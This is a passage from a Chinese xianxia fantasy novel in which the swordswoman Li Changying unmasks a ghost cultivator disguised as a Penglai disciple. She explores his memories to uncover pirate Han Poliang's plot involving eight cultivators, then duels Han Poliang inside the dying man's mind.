所谓器灵,是修士的本命法器长期吸收日月精华后,形成的灵性存在,可以驱邪或助战。根据法器种类不一,器灵也衍生出不同称谓,常见的便是“剑灵”、“刀魂”、“扇灵”之类。
由于使用条件太过苛刻,光是要求法器生出器灵,已是难得。李烟萝凭借原本金丹期满的修为,也没能让星澜剑生出剑灵。再加上要八位道不同的修士,更是难以完成。
因此该术法几百年来都没被人用过。
蹊跷的是,依照先前那个刀疤脸魔修所言,韩破浪寻找的修士与“八重转生术”所要求的略有不同,倒像是简单版。
法术一道,何其精绝,稍微改动毫厘,最终效果就千差万别。
恐怕召唤亡魂不是他的最终目的。
奚不言用扇尖点着下巴,若有所思:“‘八重转生术’的本质是一种传送阵,凭借器灵之力,打破阴阳二界的隔阂,将已逝之人召回人间……”
呼吸微滞,李长缨转瞬便理清了其中头绪:“那么简化后的术法,相应效果也会弱化,但传送阵的本质不变,无非是突破不了生死界限。所以他想召唤的对象,来自人间?”
“我也是这般猜想的,”他颔首,“不过这一切立足于,你说的那位魔修没有撒谎,以及韩破浪的传言属实。”
那个魔修倒是没有撒谎的必要,几大海寇都不是魔修,与魔域的关系没有那么密切友好,更遑论魔域各自为政。
但是韩破浪本人就不好说了。
“咚、咚、咚。”
房门突然被人轻轻叩响。
她开启灵识一扫,来者是蓬莱阁弟子周砚,正在门口来回踱步,手指紧握成拳。
“何事?”李长缨打开门,不咸不淡地瞥了他一眼。
他焦急地搓着双手,声音恳切:“李道友,我师妹不见了,能不能麻烦您……”
“你师妹?庄青青?”她严肃道。
“正是,”周砚连连点头,“方才我与师妹他们会合后,一同返回房间,师妹她一人去了甲板上炼丹,哪曾想眨眼的功夫,人就不见了。”
李长缨面露不解:“你们如何知晓她不见的?莫非已经找遍了整艘船?”
眼下才过去不到半个时辰,饶是蓬莱阁此行有五名弟子,在这段时间内及时发现人失踪、搜遍船舱,也是远远不够的。
“不不不,是大师兄感知到师妹的气息消失了。”他侧身让开,身体稍向外倾,显然是想请她快去寻找庄青青。
“且慢,我要同我家公子商量几句。”她回头看了奚不言一眼,见他已重新戴好易容。
将门暂时关上,李长缨回到他身边:“我觉得有些不对劲。”
奚不言眉一挑,示意她继续说。
“庄青青身为蓬莱阁弟子,她若失踪了,按理说蓬莱阁自会竭力寻找,没道理直接向我一介‘散修’求助。且船上不乏其他大宗门的修士,向来与蓬莱阁交好,找他们都比找我更为明智。”她分析着周砚的话语。
“不过也说不准……万一他觉得我屡次仗义出手,可能会热心些?”
“你说得没错,”奚不言抬眸,眼神玩味,“方才一打开门,我便闻到醉梦散的味道,虽听你说周道友先前不慎吸入了些,但绝不至于如此浓郁。”
闻言,她立即将手按在剑柄处,警惕地盯着门口,压低声音:“难不成是有人易容成了周砚的模样,想引我们出去?”
蓬莱阁素来以与世无争闻名,周砚身为门中弟子,坑害散修的可能性太小,再加上他之前被魔修抓过一事,左看右看也不似自导自演。
“咚、咚、咚。”
房门又被敲响,传来周砚弱弱的声音:“李道友,你商量得如何了?”
两人交换了个眼神,李长缨走过去,“唰”地拉开门,神色平静:“急什么,不如你进来仔细讲讲,庄青青失踪前都做了什么、去了何地,我也好有些头绪。”
先把人骗进屋再说,不愁没法子撬开他的嘴。
周砚眼神躲闪,咬咬唇:“可是我担心耽搁太久,师妹会遭遇不测……道友还是快些随我去甲板上吧,咱们边走边说。”
如此急不可耐,果然有诈。
她冷笑一声,陡然出手,一把抓住他手臂狠狠一拽,拉入房间内,房门“砰”的一声,瞬间关得严丝合缝。
“道、道友,你这是作甚?!”他吓得声音嘶哑,转身欲逃,却见房间内亮起莹白的法阵,升起半透明锁链,俨然是一个困阵。
而他双脚已迈入阵内,一生出想逃脱的心思,锁链便如蟒蛇般缠绕而上,虎视眈眈地围着他。
这是不久前李长缨和奚不言商量的办法,等她将对方拉入房间,他便设阵困住,再审问其假扮他人的缘由。
她抱臂不语,冷眼旁观他被阵法缠得越来越紧,灵力迅速从他体内流失,汇入锁链。得灵力加持,锁链愈发闪烁银光,明显强化不少。
“道友……有话好好说,你我无冤无仇,缘何出手……”他剧烈挣扎着,急得面色涨红,满头大汗,却拿锁链没办法。
“无冤无仇?”仿佛听见笑话般,她嗤笑一声,“我倒是想请问阁下,既然无冤无仇,为何对我用醉梦散?是怕我意识到你不对劲么?”
周砚面色苍白:“什么醉梦散?我不明白你的意思……”
“听不懂?算了,你跟我的剑说去吧。”
话音未落,星澜剑出鞘,李长缨手腕翻转,剑锋停在他喉结处,随着他每次呼吸,都在皮肤上压出细小的血珠。
剑尖缓缓移动,绕着他的咽喉打圈,她漫不经心道:“我再给你次机会,老实交代,是何人派你来的?”
奚不言走上前来,笑容如沐春风,说出的话语却让人冷汗直冒:“若是不肯说,我这里也有不少秘药,保证让你知无不言、言无不尽。”
他屏住呼吸,喉结微动,霎时不少血珠滚落,浸入衣襟,染出一团团淡红。
“要杀要剐,随你便!”他恶狠狠地瞪他们,梗着脖子宁死不从。
周砚向来给她感觉是一个安安静静、存在感低的人,如今在他脸上看到这副表情,她颇不适应,嘴角扯了扯:“不说是吧,那便送你去见阎王……”
不等她说完,他突然哈哈大笑起来,剑尖刺入锁
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骨上方半寸,鲜血顺着胸膛流下。
“你以为我怕死?杀了我,你们什么也别想知道!”
李长缨:“……”
两人一致沉默,房间内一时寂静。
他们似乎并没有被威胁到。
他眼神一顿,冷汗簌簌,继续强装冷笑:“怎么,不信我?”
默默看他半晌,她叹了口气,转头对奚不言道:“……他应该不知道通灵一术。”
只要他死在这里,魂魄飘不远,她便有把握用通灵直接和他魂魄对话。
才离体的魂魄还不会隐瞒欺骗,可谓是问什么答什么。
奚不言耸了耸肩,捏着扇骨轻笑道:“不必,搜魂即可。”
与通灵不同,搜魂是用在活人身上的法子,施法者可以窃取对方的情感和记忆,留下一片空白。在此过程中,被搜魂者将承受莫大痛苦,灵魂仿佛被人一寸寸割开,任人窥视,最终容易失去自我、心智崩溃。
所以它虽是审讯的好手段,但太过残忍,极少被采用。
周砚倒吸一口凉气,忍不住怒道:“住口!你们好歹是正道修士,怎能阴毒至此!”
“正道修士?”李长缨神色一凛,审视的目光落在他身上,“你是魔修?”
抬手按在他头顶,她猛地一压,灵力灌注进他大脑,顷刻间,易容碎裂,露出他真实的模样。
那是一张青年男子的脸,颧骨高耸,皮肤呈不健康的青白色,眼眶里瞳仁比常人要大许多,泛着浓墨般的黑。
鬼气森森。
乍见这张脸,她脑海中立刻蹦出这四个字。
上下打量他片刻,她恍然:“原来是鬼修。”
鬼修,乃吸取魂魄修炼的修士,能驱使鬼魂为己所用,与魔修、灵修不同,鬼修吐纳天地间的阴气,因此他们大多是极阴之体。
世人所知的鬼修众多的宗门,名叫阴罗宗,辖地未知,有人称在魔域境内见到过。
假面被毁,男子也不害怕,阴恻恻笑道:“你们大可以对我使用搜魂或是通灵,反正……”
未竟之语不言而喻。
驱使鬼魂的后遗症,便是会对鬼修自身产生反噬,导致其魂魄非常脆弱,压根经受不住搜魂或通灵的折磨。
他是笃定他们不敢冒险,愈发有恃无恐,挑衅地望着他们。
奚不言嘴角微勾,从芥子囊中取出两粒乌黑圆润的药丸。
“此乃照心丹,服后必吐真言。”
对视一眼,李长缨一把捏住他下颌,奚不言趁机将丹药塞进他嘴里。
“咳、咳咳。”
他剧烈地咳嗽起来,眼角呛出泪来,嘴里的话断断续续:“我不……不会背叛大人……也不会……让你们如愿!”
话音未落,他猛地向前一扑——
“噗嗤!”
剑刃贯穿咽喉,鲜血喷溅而出,李长缨瞳孔骤缩,尚未反应过来,他已向后倒去。
“你!”
她握剑的手微微发颤。
眼神逐渐涣散,他喉咙里发出破碎的气音:“休想……从我这里……得到半个字……”
随即,气息断绝。
她缓缓抽回长剑,一股股血流顺着剑锋砸在地上,绽开朵朵血花。
沉默少顷,李长缨低声道:“倒是个硬骨头。”
搜魂和通灵都用不了,她一时发愁,望向奚不言。
眼底闪过一丝暗芒,他温声道:“倒是还有个办法,只是……风险不小。”
12. 识海
“什么办法?”
“趁他神识彻底消散前,进入他的识海,可以直接窥视他的记忆,”盯着地上尚有余温的尸体,奚不言眉头轻蹙,“但此举太过凶险,稍有不慎便会冲击闯入者的元神,轻者识海紊乱,重则身死魂消。”
轻叹一声,他接着道:“不过眼下也没有更好的法子,他的残余神识撑不过一盏茶的功夫。”
奚不言伸出二指欲点向那人眉心,却被李长缨拦住。
“还是我来吧,你守在外面,若是情况不对,身为医者也能及时出手……”
“你?”他微微一愣,“不可,你本就元魂有缺,不能涉险。”
按住他手背,李长缨眨了眨眼:“无妨,有你在,我定会没事的。”
他还想再说些什么,她坚决道:“时间紧迫,不必多言。”
说罢,她拍了拍他肩膀,示意他宽心:“我去去就回。”
凝视着她莹白的手腕,奚不言忽然解下自己的发带,浅青色的丝绦上绣着细密的护身符文,仔细系在她腕间:“这是杏林门的保命法器,有它在,至少可以护住你的一缕神魂。”
她在鬼修身边坐定,奚不言跪坐其后,手指搭上她肩侧,温润的灵力如春溪般渡入:“务必小心,若有任何异常,立刻回来,知道么?”
“知道啦。”李长缨故作轻松道,伸出手指,触及鬼修眉心的刹那,神魂猛然下落,陷入无边黑暗。
奚不言接住她向后仰的身子,手臂蓦地一沉。
垂眸,只见她毫无生气地半靠在他怀里,纤长的睫毛如蝶翼般轻颤,唇色浅淡,胸口微弱的起伏证明她还活着,可神魂已不在这具躯壳之中。
他保持着双手虚扶的姿势,连呼吸都放得很轻,仿佛稍重的气息都会惊扰那识海里的游魂。
黑暗如潮水般退去,取而代之的是无边星沙,细碎如银,在李长缨周身流转。耳畔是呼啸的风声,夹杂着模糊的呓语,有男人的嘶吼,女子的哭泣,和海浪拍岸的轰鸣。
脚下忽然有了实感,她低头一看,自己正立于一座半透明的长桥上,桥下弥漫着浓雾,偶尔浮现扭曲的人脸,又迅速消散。
这便是那位鬼修的识海?
从前她只在书中读过关于识海的记载,只道是识海如人心,千般模样,不一而足。
越是罪孽深重之人,识海便越是乌烟瘴气。
有人识海污浊,踏入便如陷泥沼,黑雾翻涌,腥风刺骨。有人识海荒芜,遍地枯骨,残剑锈甲散落其间。还有人识海炽烈如熔炉,烈火焚天,咆哮不息。
李长缨深吸一口气,向前走去。
桥的尽头,悬浮着无数流光溢彩的泡沫,大小不一,泛着朦胧的微光。每个泡沫里都裹着一团流动的雾气,隐约可见人影晃动。
想必这些泡沫中封存的,就是他的过往记忆。
不知哪个才是她所需要的。
犹豫片刻,她伸手戳破了个离她最近的泡沫。
顷刻间天旋地转。
潮湿的霉味瞬间涌入鼻腔,李长缨抬眸环视周身,发现自己处于一座乱葬岗,身体如幽灵般飘在半空。
坟包高低不平地隆起着,有的只剩半截木桩歪斜插着,褪色的布条在风中发出呜咽,有的被野狗刨开,露出半截白骨。偶尔有乌鸦扑棱棱掠过,发出凄凉的啼叫。
“时辰到了。”
阴影里现出数道被黑袍笼罩的身影,为首的那人左手托着盏青灯,右手掐诀——
“破!”
他一声暴喝,数座坟茔上的土块同时碎裂开来,新死的鬼魂甫一浑浑噩噩飘出,脖颈上立刻被套上一圈血红项圈,上面刻着专门对付他们的符文。
那人掌心收拢,鬼魂受项圈所迫,径直飞入他手中青灯。
他仰起脸,嫌弃道:“阴气似乎不太够……罢了,就拿你们交差吧。”
也太缺德了点,刨了人家的坟,还嫌弃人家不够格。
李长缨心中吐槽,借着月色,看清为首的那人赫然是那名假扮周砚的鬼修。
果然,进入的是属于他的识海,她只能见到与他密切相关的人和事。
远处景象在迅速褪色,表明这段记忆即将结束。
场景转换。
不再是阴森可怖的乱葬岗,而是一座漆黑的宫殿。
那人垂首跪在阶下,黑袍下摆沾着新鲜泥土,双手托着熟悉的青灯,灯芯里隐隐有几条魂灵在发出细弱的呜咽。
“就这些?”
高座上的声音嘶哑,戴着傩面的男人支着头,手指不轻不重地敲扣着由白骨雕成的扶手。
他喉结动了动,声音细小:“回宗主,前几日暴雨冲了坟,新死的货实在……”
听见“宗主”二字,李长缨恍然,此地恐怕是阴罗宗的大本营。
那个以鬼修为主的宗门。
想不到她竟在门下弟子的记忆中,得以踏足这个只存在于传说中的门派。
“啪!”
一道骨鞭凌空抽来,他右脸顿时皮开肉绽,涌出汩汩鲜血。青灯里囚着的鬼魂趁机尖啸,被男人隔空一抓,生生捏碎成几缕阴气。
“废物,阴罗宗留你有何用,”男人随手甩了甩沾染死魂气息的手指,“即日起,你去狂鲨号,跟随韩破浪。”
韩破浪?五大海寇之一?
她暗中思忖,显然,阴罗宗和海寇有联系,而此门派应当是位于魔域。换句话说,有魔域势力在暗中支持海寇?
他双目瞬间瞪大,不顾右脸源源不断的鲜血,伏地恳求:“宗主三思,弟子不愿……”
“不愿什么?不愿和海寇打交道?”傩面下传来黏腻的笑声,幽幽道,“由不得你,这是那位的意思。”
那位是哪位?
李长缨恨不能抓着他问清楚,可惜身处回忆,他们都看不见她。
而这名弟子显然知道那位的身份。
他猛地哆嗦了下,不再挣扎,重重叩首:“弟子……领命。”
回忆结束。
她回到泡沫萦绕之地,方才被她戳破的那个泡沫已重新聚拢。
方才的回忆带给她的收获不小:这名鬼修目前是在为韩破浪卖命,今日造访她和奚不言,或许与韩破浪想要举行的献祭有关。
但也存在不少疑点,以他刚才的态度,明显对和韩破浪共事十分抵触,那他临死前宁愿自戕也不肯背叛的“大人”又是何人?
她需要更多的线索。
李
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长缨不再犹豫,又选了个泡沫戳破。
…………
篝火在咸腥的海风中摇曳,扭曲的影子投在礁石上。
那位鬼修蹲坐在火堆旁,黑袍下摆浸在潮水里。
几丈外,三个海寇提着酒坛骂骂咧咧。
“血蛟帮那群杂碎!”独眼汉子怒气冲冲,“说好这个月西航线归我们管,他娘的居然敢毁约!”
他静静听着,时不时调整下坐姿。
“喂!那边装死的!”独眼汉子踹翻酒坛,“你们那个劳什子阴罗宗不是会招魂吗?给血蛟帮下个咒呗。”
他低垂的头缓缓抬起,露出青白的面容和深陷的眼窝,声音不咸不淡:“我只听韩大人的。”
“你!”
对面明显是被他这句哽住了,半晌才怪笑着,满含讥讽意味:“瞧瞧,不愧是从名门正派出来的,公事公办得很!”
“人家是被指给老大做事的,自然看不上咱们兄弟几个。”有人阴阳怪气道。
也有人低声抱怨:“阴罗宗算哪门子名门正派,和鬼打交道的晦气玩意,凭什么老大偏偏对他高看一眼……”
鬼修并不答话,低头用手指在沙滩上练习绘制阵法。忽然,他感应到什么,抬头望向幽黑的海面。
“轰——”
刀光劈开夜幕,海滩上的砂石被气浪掀起近人高,篝火瞬间熄灭。
“听说,有人对本座的安排不满?”
声音低沉浑厚,如同闷雷滚过。一个魁梧身影踏浪而来,月光照在他古铜色的脸庞上,唇角有道狰狞的刀疤,一直延伸至耳根——
正是五大海寇之一、狂鲨号首领韩破浪。
威压如山般倾泻而下,独眼汉子膝盖一软,跪倒在地:“老、老大,属下只是一时糊涂……”
韩破浪刻意放出的威压,没有放过任何人,鬼修也不例外,他只觉呼吸一滞,喉头涌上一股血腥味。
许是在他识海里的缘故,李长缨也感觉背上重逾千斤。
若她知道这名鬼修境界如何,或许可以因此判断韩破浪的境界。
韩破浪嗤了一声,抬手一握,独眼汉子登时被无形之力提到半空。
“本座最讨厌的……”他五指慢慢收拢,“就是嘴碎的狗。”
“砰!”
他的身体在半空中炸成一团血雾,灵力被吸收进韩破浪的掌心。
“还有谁有异议?”他环视众人,目光所及之处,海寇们纷纷跪伏在地,瑟瑟发抖。
“有这个闲心,不如好好想想怎么对付血蛟帮,一群蠢货!”他声音陡然提高,突然转头看向鬼修,眼中充满审视,“韩陆,阴罗宗派你来,不会就为了看戏吧?”
原来鬼修叫韩陆,跟随他这么久,李长缨总算知道了他的名字
居然也姓韩,不会是巧合吧。
韩陆缓慢起身:“韩大人说笑了,在下此来,正是奉宗主之命,与大人商议……合作事宜。”
话音未落,他从袖中掏出一副卷轴,双手捧给他。
随手接过卷轴,韩破浪漫不经心地展开,看着看着,面色却愈发凝重,良久,他猛然抬头,目不转睛地盯着他。
“这上面所言……可是真的?”
13. 联手
“千真万确。”
韩陆微微俯身:“‘那位’吩咐了,只要大人您完成上面所写的条款,他可以助您成为海寇之王。”
最后四个字,他刻意一字一顿道。
趁着这个时机,李长缨飘到韩破浪身边,探头一看——
卷轴上却是一片空白,没有任何文字,只绘有一个巨大的复杂图腾。
扭曲的银色新月被九只不同形态的眼睛环绕,月弧中央裂开道缝隙,露出尖利的獠牙。
是她没见过的纹样。
这大抵是某种禁制,除写卷轴的人和指定接收的韩破浪外,其余人都不可察看。
韩破浪抬手挥退在场的海寇们,海边唯余他们二人。
转过头,他仍半信半疑:“只要我找到那八种修士,就算完成?”
李长缨面色一凛,心道果然,韩破浪寻找八类修士的事有隐情,如今看来,和阴罗宗上面的人有关。
韩陆口中所称安排这一切的‘那位’,连阴罗宗的宗主也不敢直呼其名姓,想必地位远在他们之上。
可以帮助韩破浪直接成为海寇之王的人,实力不必多说,定是能够力压其他大海寇之辈,而现在的五大海寇,修为皆不容小觑。这样一来,修真界符合条件的人选便只有寥寥几位。
她脑海中瞬间闪过几个名字。
“那阵法的事该如何?”韩破浪盯着卷轴,神情戒备,“当真只需要我提供修士即可?”
韩陆嘴唇一勾,笑意不达眼底:“您放心,阵法和献祭自会有专人前来施行,您只需找齐八位修士便可。”
…………
回忆结束。
属于韩破浪的威压一扫而空,如溺水之人猛然浮出水面,李长缨大口呼吸着,心中疑虑更甚。
当务之急还是得先弄清楚那位的身份,以及韩陆为何会找到她和奚不言。
莫非是在三仙岛出手救人时被他注意到,想把她作为阵法所需的八位修士备选之一。
揉了揉眉心,她有些疲惫地抬眼,只见记忆世界的尽头在迅速坍塌。
原本阴沉的天空被撕开巨大的裂缝,黑色雾潮不断涌入,从识海边缘一点点蚕食。
不好!
是韩陆的残余神识在消散,快支撑不起他的识海了。
可眼下只是找到了些许思路,她不甘心就此折返,果断戳破一个泡沫。
多看一个是一个。
“韩陆兄,如今只缺一位医修了,还请您明示。”
一睁开眼,李长缨便听到有人在她耳边问道。
环视周身环境,距离上一段记忆,似乎已经过了不少的时日。
韩陆仍是那副鬼气森森的面孔,细看却能发现,那万年不变的黑袍表面缀上了不少护身符文,手腕戴上了森白的骨铃,品相不凡,加之身边人对他毕恭毕敬的态度……
看来他在韩破浪身边的地位提升了不少。
随意转动着腕间骨铃,韩陆懒懒地抬眸:“若是岛上寻不到,便去船上找。”
“是。”手下人告辞。
房间里只剩他一人,抚着下巴想了半刻,他从袖中掏出一张卷起来的地图。
地图徐徐展开,无望海的大致形状尽收眼底。海上漂泊的船帆,皆化作流动的光点烙印其上,每当浪涌风起,图中对应光点便明灭震颤。
竟有此等宝物。
李长缨心下感叹,这样看来,无望海上的船舶受着实时监视,在哪里靠岸、走的哪条航道,都一览无余。
也不知制作这张地图的人用了何种功法,能有如此奇效。
韩陆百无聊赖地轻点其中一个小光点,水波荡漾了一瞬,浮现出一行小字——
“雾隐”号。
很眼熟。
似乎在哪里听说过。
她绞尽脑汁想了许久,方才想起艄公梁渊提过的五大海寇之一,“雾隐”号首领虞四娘。
连海寇的踪迹都能监视,这张地图究竟是何来路。
韩陆兴致缺缺,又点了几个光点,大多是往来东西大陆的仙舟,其中也包括李长缨乘坐的青龙号。
彼时青龙号正停靠在大海中央的一座岛屿附近。
她倏地反应过来,这段回忆对应的时间,应是她登三仙岛之时。
腰间的玉简陡然发亮,韩陆眸色沉沉,取下将它掰断,那头立刻传出一道又惊又喜的声音,微微喘着气。
“韩陆兄,有消息了!青龙号上有位医修!据我观察,他虽自称是位凡人医者,但能治好鲛人的病,我敢打赌他肯定是个修士!”
“青龙号”三个字轻飘飘传来,李长缨呼吸一滞。
接下来的话语更是坐实了她的怀疑,又是医者又是鲛人的,毫无疑问,指的是奚不言医治苍溟的事。
青龙号上藏有海寇。
她先前不是没有怀疑过,偌大一艘仙舟,鱼龙混杂,有海寇混入不奇怪。但只要对方不犯事,她便也懒得管,各走各道罢了。
谁能想到,早在那时便已被人盯上。
韩陆坐直了身子,连声发问:“此人叫何名?修为几何?可有同伴?”
玉简明灭片刻,一块小小的留影石被传送过来,自半空坠下,落在他掌心。
给留影石注入少许阴气,它即刻迸发出一片清冷光晕,在虚空中展开半透明的水幕。画面里,青龙号船舱景象清晰可见,李长缨、奚不言等人正围坐在梁渊身边,听他讲述海寇的故事。
传信之人还贴心地在奚不言的脸上标了个显眼的红圈。
透过旁人视角看自己着实让人不适,李长缨搓了搓胳膊,心中已大致明了目前情况。
“医修么,”韩陆支着脑袋盯着画面中交谈的人们,黑色的瞳孔如同深潭,冷得可怕,“有趣……”
手指在地图上寻觅须臾,他点在了三仙岛附近的一个小光点上,“青龙号”三个字荡漾开来。
确认好位置,韩陆利落起身,黑袍猎猎,顷刻间化作一缕黑烟。
霎时,星移物换。
待他重新现身,双脚已站在属于三仙岛的土地上。
李长缨也被传送到此地,抬眸一望,不远处的“自己”正在赶往凌月馆。
这种第三视角的观察让她一阵眩晕,好似突然被抽离出自己的身体,被迫注视着另一个“自己”的一举一动。
韩陆眼神一凛,目光牢牢地锁定在那个她身上。
嘴唇无声地动了动,通过口型,李长缨看出他说的是——
是你。
那个一直在目标医修身边的女修。
轻扯嘴角,他拢紧黑袍,快步走向凌月馆。
接下来的场景,李长缨熟悉得不能再熟悉。
在韩陆的视角里,自己正坐在窗前座位上,低头品尝着当地美食。
中柱耸立,挡住了与她拼桌的那位
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神秘中年男子。
之前与他没说上多少话,更没有仔细观察过他。李长缨心神微动,或许可以通过这个机会,再找到些关于此人的线索。
说干就干,她飘过去一看,双眼蓦地瞪大,眼前场景险些让她失声尖叫。
“自己”对面的古旧木制座椅上,空空如也,视线上移,对面半边木桌上,毫无他物。
不对,她分明记得那男子点了店家特制的酒酿。
冷汗簌簌而下,李长缨眉心紧蹙,连忙过去摸了摸座椅,触手冰凉,确是没有人使用过的痕迹。
怎会如此?!
她喃喃自语,莫非是在韩陆的记忆中,并未注意到此人,所以识海想象不出他的模样?
但她很快又否定掉这个想法。
韩陆进入酒馆便是为了跟踪她,没道理注意不到与她拼桌的人。
“道友何以知晓?”
熟悉的清冷嗓音响起,打断了她的思绪。
只见眼前的“自己”嘴唇轻启,眼神凝在虚空。
她一愣,才想起此时此刻,应是那位男子在问她是否是灵修。
她就这般看着“自己”对着空荡荡的桌子,一个人唱着独角戏,先是隐隐有些惊慌,紧接着眼睛微微睁大,眉眼间是掩不住的激动。
连连后退几步,她的手下意识搭上腰间,不料摸了个空,恍然想起身处他人识海,星澜剑带不进来。
那位自称“卖鱼郎”的男子,究竟是人是妖?
抑或是,鬼?
李长缨不知道,却也无人可问。
牙齿狠狠咬住舌尖,血腥味蔓延整个口腔,她才稳住心神。
切勿大意,此行重点是弄清楚韩陆效忠的人是谁,她低声告诫自己。
后续发展亦如李长缨记忆中一般:走出酒馆,随手救下周砚,然后返回青龙号。
只是没料到在她心中平平无奇的一切,都被韩陆躲在不远处暗中记下。
待她走后,他用留影石记录住周砚的面容,易容一番,便去青龙号上寻她和奚不言。
冷眼旁观这一切,李长缨总算弄清楚原委。
韩陆在敲门前,已在门口设好传送阵,若是她稍不设防,随他出门,便会被瞬间传送到千里之外的狂鲨号上。
到时候,房间里只剩奚不言一位医修,在韩陆的计划里,拿下他易如反掌。
想得倒是挺美……
李长缨心中冷笑,旋即又有些后怕,冷汗浸湿了后背。
只差一点,她就要被传送去贼船,直面五大海寇之一了。
乍一结束这段回忆,她便感到一阵天旋地转。脚下不再是坚实的长桥,而是不断崩裂的碎片。天空呈现出病态的灰紫色,布满蛛网般的裂痕,翻涌的黑雾吞噬不少泡沫,离她近了不少。
这下是真的快撑不住了。
好在她已弄清大部分真相,只是“那位”究竟是何人尚未可知。
李长缨凝神,指尖掐诀,准备脱离这片识海,就在她神识即将抽离的刹那——
一道雪亮刀光骤然劈落。
本就摇摇欲坠的识海顷刻间分崩离析,她急退数步,堪堪踩在一大片尚寸的识海碎片,刀光如影随形,再次横斩而来,封锁住她的退路。
“想走?”
低沉浑厚的声音在识海中回荡:“既然来了,就永远留下吧。”
刀光再起,杀机凛然。
14. 首战
李长缨被刀光逼退,心神急转。
来者何人?
为何有武器傍身?
她踩在无数识海碎片上,一次次旋身避过刀锋。
那人迟迟不现身,只是不停地挥刀、再挥刀。
虽不知对方是何来路,但她能感受到他刀下饱含的杀意。
这熟练的挥刀方式,只可能出自刀修。
难道是有刀修与韩陆交好,觉察到他识海有异,追来报仇?
刀锋横扫而过,李长缨足尖轻点,在半空中掠出一道弧线,将将落地,心念微动,连忙侧身一避。
下一刻,她先前立足之地果然有刀光劈下,生生将其踏足的识海碎片震成齑粉。
不行,这样下去,她真的会折损在这里。
手中掐的离魂诀已被打断,若不重创对方再离去,怕是难以全身而退。
李长缨盯着斑斓的识海碎片,脑中灵光乍现。
在这片由意念主宰的识海之中,万物皆可随念而生。
她闭目凝神,掌心骤然涌现一缕清光。光芒流转,渐渐凝实——剑锋冷冽、剑身洁白通透,剑柄嵌有碎晶,正是她的本命剑“星澜”。
“铮——”
剑鸣清越,在识海中荡开层层涟漪。李长缨五指收拢,剑锋斜指,周身气势陡然一变。她抬眸望向那道再度袭来的刀光,手腕翻转,星澜剑划出一道弧光,锋芒毕露,与刀锋悍然相撞。
“在别人的识海里,你倒是很会借势。”她冷笑一声,剑尖轻颤。
对面,一道人形黑影缓缓浮现,他持刀而立,刀身厚重,刃口泛着暗红血光,显然饮过无数亡魂。
瞥了眼那把沉重的长刀,她隐约觉得眼熟。
黑影嗓音雄浑,隔着几丈距离,刀尖对准她心口:“你闯进来容易,可出去,得问过我的刀。”
李长缨唇角微扬,眼中寒意更甚。
“你的刀?”她嗤笑一声,“不过一把破铜烂铁,也配拦我?”
非是她张狂恣睢,身处识海,外来者的修为都会被压制到略低于识海主人的境界,算是一种保护主人的手段。是以这黑影看似来势汹汹,实则境界同她一样。
那她便无所顾虑了。
早打完早走。
话音未落,黑影陡然暴起。
刀光如白虹贯日,刹那间劈开层层碎片,直逼她面门。
这一刀,快得只见残影,内含的力量足以劈山断岳。
李长缨不退反进,星澜剑迎势而上。
“锵——”
刀剑相撞,金石之声响彻识海。黑影刀势沉重,压得她剑锋微微下沉。可李长缨眼中毫无惧色,轻旋手腕,剑身倏地上挑。
星澜剑逆势而为,剑光暴涨,顷刻间将刀锋挑开。黑影身形微晃,显然没料到她能以巧破力。
李长缨不给对方喘息之机,剑锋一转,直刺向他咽喉。
黑影急退,挥刀横档,可她的剑快到看不清,剑尖几乎擦着刀身划过。
只闻“噗嗤”一声,他身子猛地一晃,遮掩身形的黑雾登时如退潮般迅速消散,显露出真实的模样来。
古铜色的皮肤,阴鸷的眼神,以及嘴角一道明显的刀疤。
不是韩破浪,还能是谁?
“原来是你。”李长缨剑锋微顿,一脸平静。
难怪她一直觉得这刀似曾相识,现在想来,她在回忆中见过一次他使刀,与之别无二致。
她冷冷道:“下一剑,取你右臂。”
韩破浪脸色骤变,半眯的眸子中闪过一丝狠厉:“敢杀我的人,你找死。”
他怒极,刀势蓦地狂暴,不再有所保留,每一刀都裹挟排山倒海之势。
李长缨毫不畏惧,身形如游龙,在刀光中穿梭,每出一剑,都精准刺向他致命之处,逼得他不得不回防。刀剑碰撞声连绵不绝,识海因二人激战而剧烈震颤,无数碎片崩裂,化作点点星光消散。
韩破浪越战越惊,在海上漂惯了,整日和手下海寇一起,他已许久未见过如此凌厉的剑法。
眼前这个女人是什么来路?!
李长缨的剑,仿佛能预判他的每一招,甚至在他出刀之前,剑锋就已经等在他刀势的必经之路上。
“你的刀,太慢了。”她冷声道。
说罢,她一闪身,星澜剑破空而出,刺向他右肩。
韩破浪仓促格挡,可她剑势一变,贴着刀身滑下,直削他手腕。
“嗤”的一声,鲜血迸溅,他闷哼一声,长刀几乎脱手。
李长缨收剑而立,眼中战意炽热:“下一剑,断你左腿。”
韩破浪咬咬牙,换左手执刀。他怒吼着,刀锋燃起灼灼烈焰,甫一劈下,整片识海都被映得猩红。
她眼神一凛,剑招连绵,无数剑影如落英缤纷倾泻而下,与血红刀芒轰然相撞。
识海剧烈震荡,刀芒与剑光交织,灵力四溢。
他被震得连退数步,嘴角溢血。反观李长缨,衣袂微扬,脸上云淡风轻。
“不过如此,”她声音平缓,“现在,该我了。”
纵身跃起,她剑势遽然拔高,如鸿雁展翅掠过长空,猛力下刺,带着破空之声向他左腿袭去。
正是“落英惊鸿”剑的第四式——鸿影掠空。
长剑深深刺入他的左腿,筋脉被一剑挑断,韩破浪踉跄几下,单膝跪地。
一股死意迟缓地延着尾骨上爬。
自己可能真的会葬身此地,他终于意识到。
识海早已支撑不住二人久战,四周以肉眼可见的速度在崩塌,李长缨扫了眼周围,心中大致有数,持剑一步步逼近。
“此刻,你还觉得我找死吗?”
韩破浪拖着鲜血淋漓的左腿,一时心跳如擂鼓。他攥紧刀把,突然捏碎一枚符箓,身形倏地化作黑雾消散。
好可惜,让他跑了。
不过这次在识海中重创了他,虽未触及真身,也够他消停一阵了。
李长缨感叹一声,收剑归鞘。
重新捏了个离魂诀,一股无形之力将她抽离。倏忽间,后背传来柔软织锦的触感,某种液体顺着额角流到颈窝里。有人用帕子轻柔擦拭她的脸,布料摩挲过眼皮时,她睫毛颤了颤,看清头顶摇晃的青色竹林。
奚不言捏着手帕,温声道:“如何?可有受伤?”
摇摇头,她坐起身子,才发觉自己出了一身冷汗。方才在识海中的战斗虽告捷,于她而言也消耗不少。
“背后之人是韩破浪,”瞥了眼倒在地上的韩陆尸体,她哑声道,“‘狂鲨’号首领,他的目标是你,因为你是医修。”
短短几句,奚不言心下了然,捉住她的手腕仔细探查,确认她无碍后,才松了口气,声音很轻:“是我不好,连累你走这一遭,平安就好。”
